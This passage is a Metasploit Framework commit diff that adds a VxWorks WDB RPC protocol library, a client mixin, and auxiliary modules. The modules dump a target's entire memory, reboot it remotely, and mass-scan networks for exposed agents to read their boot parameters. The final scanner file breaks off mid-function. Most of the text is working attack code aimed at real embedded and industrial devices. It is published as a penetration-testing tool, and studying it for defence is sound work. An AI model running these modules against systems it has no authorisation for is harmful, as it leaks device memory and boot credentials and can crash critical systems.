Import the scanner and utility modules for the VxWorks WDB Agent service
git-svn-id: file:///home/svn/framework3/trunk@9945 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
c8ee0d0e1b
commit
e26d4ded08
|
@ -45,6 +45,8 @@ require 'msf/core/exploit/pop2'
|
|||
require 'msf/core/exploit/tns'
|
||||
require 'msf/core/exploit/db2'
|
||||
require 'msf/core/exploit/postgres'
|
||||
require 'msf/core/exploit/wdbrpc'
|
||||
require 'msf/core/exploit/wdbrpc_client'
|
||||
|
||||
# Telephony
|
||||
require 'msf/core/exploit/dialup'
|
||||
|
@ -67,3 +69,4 @@ require 'msf/core/exploit/fmtstr'
|
|||
|
||||
# Java
|
||||
require 'msf/core/exploit/java'
|
||||
|
||||
|
|
|
@ -0,0 +1,246 @@
|
|||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This module exposes methods for manipulating the WDRPC service
|
||||
#
|
||||
###
|
||||
module Exploit::Remote::WDBRPC
|
||||
|
||||
# WDB_TARGET_CONNECT2
|
||||
def wdbrpc_request_connect2(ip)
|
||||
ip += "\x00"
|
||||
while(ip.length % 4 != 0)
|
||||
ip << "\x00"
|
||||
end
|
||||
|
||||
data = [
|
||||
0x00000002,
|
||||
0x00000000,
|
||||
0x00000000,
|
||||
0x00000001,
|
||||
ip.length
|
||||
].pack("N*") + ip
|
||||
|
||||
wdbrpc_request(0x7a, data)
|
||||
end
|
||||
|
||||
# WDB_TARGET_CONNECT
|
||||
def wdbrpc_request_connect(ip)
|
||||
data = [ 0x00000002, 0x00000000, 0x00000000 ].pack("N*")
|
||||
wdbrpc_request(1, data)
|
||||
end
|
||||
|
||||
# WDB_TARGET_DISCONNECT
|
||||
def wdbrpc_request_disconnect
|
||||
data = [ 0x00000002, 0x00000000, 0x00000000 ].pack("N*")
|
||||
wdbrpc_request(2, data)
|
||||
end
|
||||
|
||||
def wdbrpc_request_regread(regset=0, offset=0, length=512, params=0)
|
||||
data = [ regset ].pack("N")
|
||||
|
||||
# WDB_CTX
|
||||
data << [
|
||||
0, # WDB_CTX_SYSTEM (3 for task)
|
||||
0, # SYSTEM (or set for task)
|
||||
].pack("N*")
|
||||
|
||||
# WDB_MEM_REGION
|
||||
data << [
|
||||
offset, # baseAddress
|
||||
length, # numberOfBytes
|
||||
params, # params
|
||||
].pack("N*")
|
||||
|
||||
wdbrpc_request(40, data)
|
||||
end
|
||||
|
||||
|
||||
def wdbrpc_request_memread(offset=0, length=512, params=0)
|
||||
|
||||
# WDB_MEM_REGION
|
||||
data = [
|
||||
offset, # baseAddress
|
||||
length, # numberOfBytes
|
||||
params, # params
|
||||
].pack("N*")
|
||||
|
||||
wdbrpc_request(10, data)
|
||||
end
|
||||
|
||||
def wdbrpc_request_memwrite(offset=0, buff='', params=0)
|
||||
|
||||
# Make sure its DWORD aligned
|
||||
while(buff.length % 4 != 0)
|
||||
buff << "\x00"
|
||||
end
|
||||
|
||||
# WDB_MEM_XFER
|
||||
data = [
|
||||
buff.length,
|
||||
offset, # target
|
||||
buff.length
|
||||
].pack("N*") + buff
|
||||
|
||||
wdbrpc_request(11, data)
|
||||
end
|
||||
|
||||
|
||||
def wdbrpc_request_memscan(offset=0, depth=1024, buff='', params=0)
|
||||
# Make sure its DWORD aligned
|
||||
while(buff.length % 4 != 0)
|
||||
buff << "\x00"
|
||||
end
|
||||
|
||||
# WDB_MEM_REGION
|
||||
data = [
|
||||
offset, # baseAddress
|
||||
depth, # numberOfBytes
|
||||
params, # params
|
||||
].pack("N*")
|
||||
|
||||
# WDB_MEM_XFER
|
||||
data << [
|
||||
buff.length,
|
||||
0,
|
||||
buff.length
|
||||
].pack("N*") + buff
|
||||
|
||||
wdbrpc_request(11, data)
|
||||
end
|
||||
|
||||
def wdbrpc_request_context_kill(ctx_type, ctx)
|
||||
|
||||
# WDB_CTX
|
||||
data = [
|
||||
ctx_type, # WDB_CTX_SYSTEM (3 for task)
|
||||
ctx, # SYSTEM (or set for task)
|
||||
].pack("N*")
|
||||
|
||||
# options
|
||||
data << [ 0 ] .pack("N")
|
||||
|
||||
wdbrpc_request(31, data)
|
||||
end
|
||||
|
||||
def wdbrpc_parse_connect_reply(buff)
|
||||
info = {}
|
||||
head = buff.slice!(0,36)
|
||||
info[:agent_ver] = wdbrpc_decode_str(buff)
|
||||
info[:agent_mtu] = wdbrpc_decode_int(buff)
|
||||
info[:agent_mod] = wdbrpc_decode_int(buff)
|
||||
info[:rt_type] = wdbrpc_decode_int(buff)
|
||||
info[:rt_vers] = wdbrpc_decode_str(buff)
|
||||
info[:rt_cpu_type] = wdbrpc_decode_int(buff)
|
||||
info[:rt_has_fpp] = wdbrpc_decode_bool(buff)
|
||||
info[:rt_has_wp] = wdbrpc_decode_bool(buff)
|
||||
info[:rt_page_size] = wdbrpc_decode_int(buff)
|
||||
info[:rt_endian] = wdbrpc_decode_int(buff)
|
||||
info[:rt_bsp_name] = wdbrpc_decode_str(buff)
|
||||
info[:rt_bootline] = wdbrpc_decode_str(buff)
|
||||
info[:rt_membase] = wdbrpc_decode_int(buff)
|
||||
info[:rt_memsize] = wdbrpc_decode_int(buff)
|
||||
info[:rt_region_count] = wdbrpc_decode_int(buff)
|
||||
info[:rt_regions] = wdbrpc_decode_arr(buff, :int)
|
||||
info[:rt_hostpool_base] = wdbrpc_decode_int(buff)
|
||||
info[:rt_hostpool_size] = wdbrpc_decode_int(buff)
|
||||
info
|
||||
end
|
||||
|
||||
def wdbrpc_request(procedure, data)
|
||||
pkt =
|
||||
[
|
||||
0x00000000, # XID (ignored by checksum and length)
|
||||
0x00000000,
|
||||
0x00000002,
|
||||
0x55555555, # Program
|
||||
0x00000001, # Version
|
||||
procedure, # Procedure
|
||||
0x00000000,
|
||||
0x00000000,
|
||||
0x00000000,
|
||||
0x00000000
|
||||
].pack("N*")
|
||||
|
||||
pkt +=
|
||||
[
|
||||
0x00000000, # Checksum
|
||||
0x00000000, # Packet Size
|
||||
wdbrpc_request_seqno
|
||||
].pack("N*")
|
||||
|
||||
pkt += data
|
||||
|
||||
# Length excludes the XID
|
||||
pkt[44, 4] = [ pkt.length - 4].pack("N")
|
||||
|
||||
# Set the checksum flag and calculate the checksum
|
||||
pkt[42, 2] = [ wdbrpc_checksum(pkt) ].pack("n")
|
||||
pkt[40, 2] = [0xffff].pack("n")
|
||||
|
||||
# Set the RPC XID
|
||||
pkt[ 0, 4] = [ rand(0x100000000) ].pack("N")
|
||||
|
||||
pkt
|
||||
end
|
||||
|
||||
def wdbrpc_request_seqno
|
||||
@wdbrpc_seqno ||= 0
|
||||
@wdbrpc_seqno += 1
|
||||
end
|
||||
|
||||
def wdbrpc_checksum(data)
|
||||
sum = 0
|
||||
data.unpack("n*").each {|c| sum += c }
|
||||
sum = (sum & 0xffff) + (sum >> 16)
|
||||
(~sum)
|
||||
end
|
||||
|
||||
def wdbrpc_decode_str(data)
|
||||
return if data.length < 4
|
||||
slen = data.slice!(0,4).unpack("N")[0]
|
||||
return "" if slen == 0
|
||||
while (slen % 4 != 0)
|
||||
slen += 1
|
||||
end
|
||||
|
||||
data.slice!(0,slen).to_s.split("\x00")[0]
|
||||
end
|
||||
|
||||
def wdbrpc_decode_int(data)
|
||||
return if data.length < 4
|
||||
data.slice!(0,4).unpack("N")[0]
|
||||
end
|
||||
|
||||
def wdbrpc_decode_arr(data, dtype)
|
||||
return if data.length < 4
|
||||
res = []
|
||||
|
||||
alen = data.slice!(0,4).unpack("N")[0]
|
||||
return res if alen == 0
|
||||
|
||||
1.upto(alen) do |idx|
|
||||
case dtype
|
||||
when :int
|
||||
res << wdbrpc_decode_int(data)
|
||||
when :str
|
||||
res << wdbrpc_decode_str(data)
|
||||
when :bool
|
||||
res << wdbrpc_decode_bool(data)
|
||||
end
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def wdbrpc_decode_bool(data)
|
||||
return if data.length < 4
|
||||
(data.slice!(0,4).unpack("N")[0] == 0) ? false : true
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,218 @@
|
|||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This module exposes methods for talking to WDBRPC daemons
|
||||
#
|
||||
###
|
||||
module Exploit::Remote::WDBRPC_Client
|
||||
|
||||
include Exploit::Remote::WDBRPC
|
||||
include Auxiliary::Report
|
||||
|
||||
attr_accessor :wdbrpc_info, :udp_sock
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_options(
|
||||
[
|
||||
Opt::RHOST,
|
||||
Opt::RPORT(17185),
|
||||
], Msf::Exploit::Remote::WDBRPC_Client)
|
||||
end
|
||||
|
||||
|
||||
def wdbrpc_client_connect
|
||||
self.wdbrpc_info = {}
|
||||
|
||||
wdbrpc_client_disconnect()
|
||||
|
||||
self.udp_sock = Rex::Socket::Udp.create(
|
||||
{
|
||||
'Context' => {'Msf' => framework, 'MsfExploit' => self}
|
||||
}
|
||||
)
|
||||
add_socket(self.udp_sock)
|
||||
|
||||
wdbrpc_client_send_disconnect()
|
||||
|
||||
udp_sock.sendto(wdbrpc_request_connect(rhost), rhost, rport, 0)
|
||||
res,src = udp_sock.recvfrom(65535, 5)
|
||||
if not res
|
||||
print_error("No response to TARGET_CONNECT (WDB4)")
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
if res.length > 0 and res.length < 80
|
||||
print_status("#{rhost}: Unknown response: '#{res.unpack("H*")[0]}'")
|
||||
return
|
||||
end
|
||||
|
||||
if res.empty?
|
||||
print_error("#{rhost}: No response from the target")
|
||||
return
|
||||
end
|
||||
|
||||
self.wdbrpc_info = wdbrpc_parse_connect_reply(res)
|
||||
print_status("#{rhost} Connected to #{self.wdbrpc_info[:rt_vers]} - #{self.wdbrpc_info[:rt_bsp_name]} (#{self.wdbrpc_info[:rt_bootline]})")
|
||||
|
||||
report_note(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:proto => 'udp',
|
||||
:type => 'vxworks.target_info',
|
||||
:data => res,
|
||||
:update => :unique
|
||||
)
|
||||
end
|
||||
|
||||
def wdbrpc_client_connect2
|
||||
self.wdbrpc_info = {}
|
||||
|
||||
wdbrpc_client_disconnect()
|
||||
|
||||
self.udp_sock = Rex::Socket::Udp.create(
|
||||
{
|
||||
'Context' => {'Msf' => framework, 'MsfExploit' => self}
|
||||
}
|
||||
)
|
||||
add_socket(self.udp_sock)
|
||||
|
||||
wdbrpc_client_send_disconnect()
|
||||
|
||||
udp_sock.sendto(wdbrpc_request_connect2(rhost), rhost, rport, 0)
|
||||
res,src = udp_sock.recvfrom(65535, 5)
|
||||
if not res
|
||||
print_error("No response to TARGET_CONNECT2")
|
||||
return
|
||||
end
|
||||
|
||||
if res.length < 80
|
||||
print_status("#{rhost}: Unknown response: '#{res.unpack("H*")[0]}'")
|
||||
return
|
||||
end
|
||||
|
||||
self.wdbrpc_info = wdbrpc_parse_connect_reply(res)
|
||||
print_status("#{rhost} Connected to #{self.wdbrpc_info[:rt_vers]} - #{self.wdbrpc_info[:rt_bsp_name]} (#{self.wdbrpc_info[:rt_bootline]})")
|
||||
|
||||
report_note(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:proto => 'udp',
|
||||
:type => 'vxworks.target_info',
|
||||
:data => res,
|
||||
:update => :unique
|
||||
)
|
||||
end
|
||||
|
||||
def wdbrpc_client_memread(offset, length, params=0)
|
||||
pkt = wdbrpc_request_memread(offset, length, params)
|
||||
cnt = 0
|
||||
res = nil
|
||||
|
||||
begin
|
||||
udp_sock.sendto(pkt, rhost, rport, 0)
|
||||
res,src = udp_sock.recvfrom(65535, 0.5)
|
||||
if not res and src
|
||||
raise RuntimeError, "no reply"
|
||||
end
|
||||
|
||||
if res.length <= 48
|
||||
raise RuntimeError, "short read"
|
||||
end
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception
|
||||
if cnt < 120
|
||||
cnt += 1
|
||||
retry
|
||||
end
|
||||
end
|
||||
|
||||
res[48,res.length-48]
|
||||
end
|
||||
|
||||
def wdbrpc_client_memwrite(offset, buffer, params=0)
|
||||
pkt = wdbrpc_request_memwrite(offset, buffer, params)
|
||||
cnt = 0
|
||||
res = nil
|
||||
|
||||
udp_sock.sendto(pkt, rhost, rport, 0)
|
||||
res,src = udp_sock.recvfrom(65535, 5.0)
|
||||
|
||||
if not res and src
|
||||
raise RuntimeError, "no reply"
|
||||
end
|
||||
res[-4,4].unpack("N")[0]
|
||||
end
|
||||
|
||||
|
||||
def wdbrpc_client_memscan(offset, depth, buffer, params=0)
|
||||
pkt = wdbrpc_request_memscan(offset, depth, buffer, params)
|
||||
cnt = 0
|
||||
res = nil
|
||||
|
||||
udp_sock.sendto(pkt, rhost, rport, 0)
|
||||
res,src = udp_sock.recvfrom(65535, 5.0)
|
||||
|
||||
if not res and src
|
||||
raise RuntimeError, "no reply"
|
||||
end
|
||||
p res
|
||||
res
|
||||
end
|
||||
|
||||
|
||||
def wdbrpc_client_context_kill(ctx_type=0, ctx=0)
|
||||
pkt = wdbrpc_request_context_kill(ctx_type, ctx)
|
||||
res = nil
|
||||
|
||||
begin
|
||||
udp_sock.sendto(pkt, rhost, rport, 0)
|
||||
res,src = udp_sock.recvfrom(65535, 0.5)
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception
|
||||
end
|
||||
res
|
||||
end
|
||||
|
||||
def wdbrpc_client_send_disconnect
|
||||
pkt = wdbrpc_request_disconnect
|
||||
begin
|
||||
if self.udp_sock
|
||||
self.udp_sock.sendto(pkt, rhost, rport, 0)
|
||||
self.udp_sock.recvfrom(65535, 5)
|
||||
end
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception
|
||||
end
|
||||
end
|
||||
|
||||
def wdbrpc_client_disconnect
|
||||
wdbrpc_client_send_disconnect
|
||||
|
||||
if self.udp_sock
|
||||
self.udp_sock.close rescue nil
|
||||
end
|
||||
self.udp_sock = nil
|
||||
|
||||
end
|
||||
|
||||
def rhost
|
||||
datastore['RHOST']
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT'].to_i
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,112 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::WDBRPC_Client
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'VxWorks WDB Agent Remote Memory Dump',
|
||||
'Description' => %q{
|
||||
This module provides the ability to dump the system memory of a VxWorks target through WDBRPC
|
||||
},
|
||||
'Author' => [ 'hdm'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://blog.metasploit.com/2010/08/vxworks-vulnerabilities.html'],
|
||||
['URL', 'http://www.kb.cert.org/vuls/id/362332']
|
||||
],
|
||||
'Actions' =>
|
||||
[
|
||||
['Download']
|
||||
],
|
||||
'DefaultAction' => 'Download'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('LPATH',
|
||||
[
|
||||
true,
|
||||
"The local filename to store the dumped memory",
|
||||
::File.join(Msf::Config.log_directory, "vxworks_memory.dmp")
|
||||
]
|
||||
),
|
||||
OptInt.new('OFFSET', [ true, "The starting offset to read the memory dump in hex", 0 ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
offset = datastore['OFFSET'].to_s.to_i(16)
|
||||
print_status("Attempting to dump system memory...")
|
||||
|
||||
wdbrpc_client_connect
|
||||
|
||||
if not @wdbrpc_info[:rt_vers]
|
||||
print_error("No response to connection request")
|
||||
return
|
||||
end
|
||||
|
||||
membase = @wdbrpc_info[:rt_membase]
|
||||
memsize = @wdbrpc_info[:rt_memsize]
|
||||
mtu = @wdbrpc_info[:agent_mtu]
|
||||
|
||||
print_status("Dumping #{"0x%.8x" % memsize} bytes from base address #{"0x%.8x" % membase} at offset #{"0x%.8x" % offset}...")
|
||||
|
||||
lfd = nil
|
||||
if offset != 0
|
||||
lfd = ::File.open(datastore['LPATH'], "ab")
|
||||
lfd.seek(offset)
|
||||
else
|
||||
lfd = ::File.open(datastore['LPATH'], "wb")
|
||||
end
|
||||
|
||||
mtu -= 80
|
||||
idx = offset
|
||||
lpt = 0.00
|
||||
sts = Time.now.to_f
|
||||
|
||||
|
||||
while (idx < memsize)
|
||||
buff = wdbrpc_client_memread(membase + idx, mtu)
|
||||
if not buff
|
||||
print_error("Failed to download data at offset #{"0x%.8x" % idx}")
|
||||
return
|
||||
end
|
||||
|
||||
idx += buff.length
|
||||
lfd.write(buff)
|
||||
|
||||
pct = ((idx / memsize.to_f) * 10000).to_i
|
||||
pct = pct / 100.0
|
||||
|
||||
if pct != lpt
|
||||
eta = Time.at(Time.now.to_f + (((Time.now.to_f - sts) / pct) * (100.0 - pct)))
|
||||
print_status("[ #{sprintf("%.2d", pct)} % ] Downloaded #{"0x%.8x" % idx} of #{"0x%.8x" % memsize} bytes (complete at #{eta.to_s})")
|
||||
lpt = pct
|
||||
end
|
||||
end
|
||||
|
||||
lfd.close
|
||||
|
||||
print_status("Dumped #{"0x%.8x" % idx} bytes.")
|
||||
wdbrpc_client_disconnect
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,68 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::WDBRPC_Client
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'VxWorks WDB Agent Remote Reboot',
|
||||
'Description' => %q{
|
||||
This module provides the ability to reboot a VxWorks target through WDBRPC
|
||||
},
|
||||
'Author' => [ 'hdm'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://blog.metasploit.com/2010/08/vxworks-vulnerabilities.html'],
|
||||
['URL', 'http://www.kb.cert.org/vuls/id/362332']
|
||||
],
|
||||
'Actions' =>
|
||||
[
|
||||
['Reboot']
|
||||
],
|
||||
'DefaultAction' => 'Reboot'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('CONTEXT', [ true, "The context to terminate (0=system reboot)", 0 ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
wdbrpc_client_connect
|
||||
|
||||
membase = @wdbrpc_info[:rt_membase]
|
||||
memsize = @wdbrpc_info[:rt_memsize]
|
||||
mtu = @wdbrpc_info[:agent_mtu]
|
||||
ctx = datastore['CONTEXT'].to_i
|
||||
|
||||
print_status("#{ip} - Killing task context #{ctx}...")
|
||||
|
||||
wdbrpc_client_context_kill( (ctx != 0) ? 3 : 0, ctx )
|
||||
|
||||
print_status("#{ip} - Done")
|
||||
|
||||
wdbrpc_client_disconnect
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,196 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::WDBRPC
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'VxWorks WDB Agent Boot Parameter Scanner',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Scan for exposed VxWorks wdbrpc daemons and dump the boot parameters from memory',
|
||||
'Author' => 'hdm',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://blog.metasploit.com/2010/08/vxworks-vulnerabilities.html'],
|
||||
['URL', 'http://www.kb.cert.org/vuls/id/362332']
|
||||
]
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]),
|
||||
Opt::RPORT(17185)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
# Define our batch size
|
||||
def run_batch_size
|
||||
datastore['BATCHSIZE'].to_i
|
||||
end
|
||||
|
||||
# Operate on an entire batch of hosts at once
|
||||
def run_batch(batch)
|
||||
|
||||
begin
|
||||
udp_sock = nil
|
||||
idx = 0
|
||||
|
||||
udp_sock = Rex::Socket::Udp.create(
|
||||
{
|
||||
'Context' => {'Msf' => framework, 'MsfExploit' => self}
|
||||
}
|
||||
)
|
||||
add_socket(udp_sock)
|
||||
|
||||
@udp_sock = udp_sock
|
||||
|
||||
batch.each do |ip|
|
||||
|
||||
begin
|
||||
udp_sock.sendto(create_probe(ip), ip, datastore['RPORT'].to_i, 0)
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
|
||||
nil
|
||||
end
|
||||
|
||||
if (idx % 10 == 0)
|
||||
while (r = udp_sock.recvfrom(65535, 0.01) and r[1])
|
||||
parse_reply(r)
|
||||
end
|
||||
end
|
||||
|
||||
idx += 1
|
||||
end
|
||||
|
||||
cnt = 0
|
||||
del = 10
|
||||
sts = Time.now.to_i
|
||||
while (r = udp_sock.recvfrom(65535, del) and r[1])
|
||||
parse_reply(r)
|
||||
|
||||
# Prevent an indefinite loop if the targets keep replying
|
||||
cnt += 1
|
||||
break if cnt > run_batch_size
|
||||
|
||||
# Escape after 15 seconds regardless of batch size
|
||||
break if ((sts + 15) < Time.now.to_i)
|
||||
|
||||
del = 1.0
|
||||
end
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_status("Unknown error: #{e.class} #{e}")
|
||||
ensure
|
||||
udp_sock.close if udp_sock
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# The response parsers
|
||||
#
|
||||
def parse_reply(pkt)
|
||||
|
||||
return if not pkt[1]
|
||||
|
||||
if(pkt[1] =~ /^::ffff:/)
|
||||
pkt[1] = pkt[1].sub(/^::ffff:/, '')
|
||||
end
|
||||
|
||||
data = pkt[0]
|
||||
|
||||
# Bare RPC response
|
||||
if data.length == 24
|
||||
ecode = data[20,4].unpack("N")[0]
|
||||
emesg = "unknown"
|
||||
case ecode
|
||||
when 3
|
||||
# Should not be hit
|
||||
emesg = "Device requires the VxWorks 5 WDB protocol"
|
||||
when 5
|
||||
emesg = "Device failed to parse the probe"
|
||||
end
|
||||
|
||||
print_status("#{pkt[1]} Error: code=#{ecode} #{emesg}")
|
||||
return
|
||||
end
|
||||
|
||||
if data.length < 80
|
||||
print_status("#{pkt[1]}: Unknown response #{data.unpack("H*")[0]}")
|
||||
return
|
||||
end
|
||||
|
||||
# Memory dump response
|
||||
if data[48,64] =~ /^.{1,16}\(\d+,\d+\)/
|
||||
buff = data[48, data.length-48]
|
||||
boot,left = buff.split("\x00", 2)
|
||||
print_status("#{pkt[1]}: BOOT> #{boot}")
|
||||
report_note(
|
||||
:host => pkt[1],
|
||||
:port => datastore['RPORT'],
|
||||
:proto => 'udp',
|
||||
:type => 'vxworks.bootline',
|
||||
:data => {:bootline => boot },
|
||||
:update => :unique_data
|
||||
)
|
||||
return
|
||||
end
|
||||
|
||||
res = wdbrpc_parse_connect_reply(data)
|
||||
|
||||
if res[:rt_membase]
|
||||
print_status("#{pkt[1]}: #{res[:rt_vers]} #{res[:rt_bsp_name]} #{res[:rt_bootline]}")
|
||||
|
||||
report_note(
|
||||
:host => pkt[1],
|
||||
:port => datastore['RPORT'],
|
||||
:proto => 'udp',
|
||||
:type => 'vxworks.target_info',
|
||||
:data => res,
|
||||
:update => :unique
|
||||
)
|
||||
|
||||
# Send the memory dump request for the bootline. Theoretically we can infer the correct
|
||||
# location from the cpu type and BSP name, but these are tough to categorize and there
|
||||
# is no harm in trying multiple offsets
|
||||
|
||||
# Most common mapping is 0x700 (M68k, ARM, etc)
|
||||
@udp_sock.sendto(wdbrpc_request_memread(res[:rt_membase] + 0x700, 512), pkt[1], datastore['RPORT'].to_i, 0)
|
||||
|
||||
# PowerPC uses 0x4200
|
||||
@udp_sock.sendto(wdbrpc_request_memread(res[:rt_membase] + 0x4200, 512), pkt[1], datastore['RPORT'].to_i, 0)
|
||||
|
||||
# PC x86 uses 0x1200
|
||||
@udp_sock.sendto(wdbrpc_request_memread(res[:rt_membase] + 0x1200, 512), pkt[1], datastore['RPORT'].to_i, 0)
|
||||
|
||||
# SPARC-lite uses 0x600
|
||||
@udp_sock.sendto(wdbrpc_request_memread(res[:rt_membase] + 0x600, 512), pkt[1], datastore['RPORT'].to_i, 0)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def create_probe(ip)
|
||||
wdbrpc_request_connect(ip)
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,158 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::WDBRPC
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'VxWorks WDB Agent Version Scanner',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Scan for exposed VxWorks wdbrpc daemons',
|
||||
'Author' => 'hdm',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://blog.metasploit.com/2010/08/vxworks-vulnerabilities.html'],
|
||||
['URL', 'http://www.kb.cert.org/vuls/id/362332']
|
||||
]
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]),
|
||||
Opt::RPORT(17185)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
# Define our batch size
|
||||
def run_batch_size
|
||||
datastore['BATCHSIZE'].to_i
|
||||
end
|
||||
|
||||
# Operate on an entire batch of hosts at once
|
||||
def run_batch(batch)
|
||||
|
||||
begin
|
||||
udp_sock = nil
|
||||
idx = 0
|
||||
|
||||
udp_sock = Rex::Socket::Udp.create(
|
||||
{
|
||||
'Context' => {'Msf' => framework, 'MsfExploit' => self}
|
||||
}
|
||||
)
|
||||
add_socket(udp_sock)
|
||||
|
||||
batch.each do |ip|
|
||||
|
||||
begin
|
||||
udp_sock.sendto(create_probe(ip), ip, datastore['RPORT'].to_i, 0)
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
|
||||
nil
|
||||
end
|
||||
|
||||
if (idx % 10 == 0)
|
||||
while (r = udp_sock.recvfrom(65535, 0.01) and r[1])
|
||||
parse_reply(r)
|
||||
end
|
||||
end
|
||||
|
||||
idx += 1
|
||||
end
|
||||
|
||||
cnt = 0
|
||||
del = 10
|
||||
sts = Time.now.to_i
|
||||
while (r = udp_sock.recvfrom(65535, del) and r[1])
|
||||
parse_reply(r)
|
||||
|
||||
# Prevent an indefinite loop if the targets keep replying
|
||||
cnt += 1
|
||||
break if cnt > run_batch_size
|
||||
|
||||
# Escape after 15 seconds regardless of batch size
|
||||
break if ((sts + 15) < Time.now.to_i)
|
||||
|
||||
del = 1.0
|
||||
end
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_status("Unknown error: #{e.class} #{e}")
|
||||
ensure
|
||||
udp_sock.close if udp_sock
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# The response parsers
|
||||
#
|
||||
def parse_reply(pkt)
|
||||
|
||||
return if not pkt[1]
|
||||
|
||||
if(pkt[1] =~ /^::ffff:/)
|
||||
pkt[1] = pkt[1].sub(/^::ffff:/, '')
|
||||
end
|
||||
|
||||
data = pkt[0]
|
||||
|
||||
# Bare RPC response
|
||||
if data.length == 24
|
||||
ecode = data[20,4].unpack("N")[0]
|
||||
emesg = "unknown"
|
||||
case ecode
|
||||
when 3
|
||||
# Should not be hit
|
||||
emesg = "Device requires the VxWorks 5 WDB protocol"
|
||||
when 5
|
||||
emesg = "Device failed to parse the probe"
|
||||
end
|
||||
|
||||
print_status("#{pkt[1]} Error: code=#{ecode} #{emesg}")
|
||||
return
|
||||
end
|
||||
|
||||
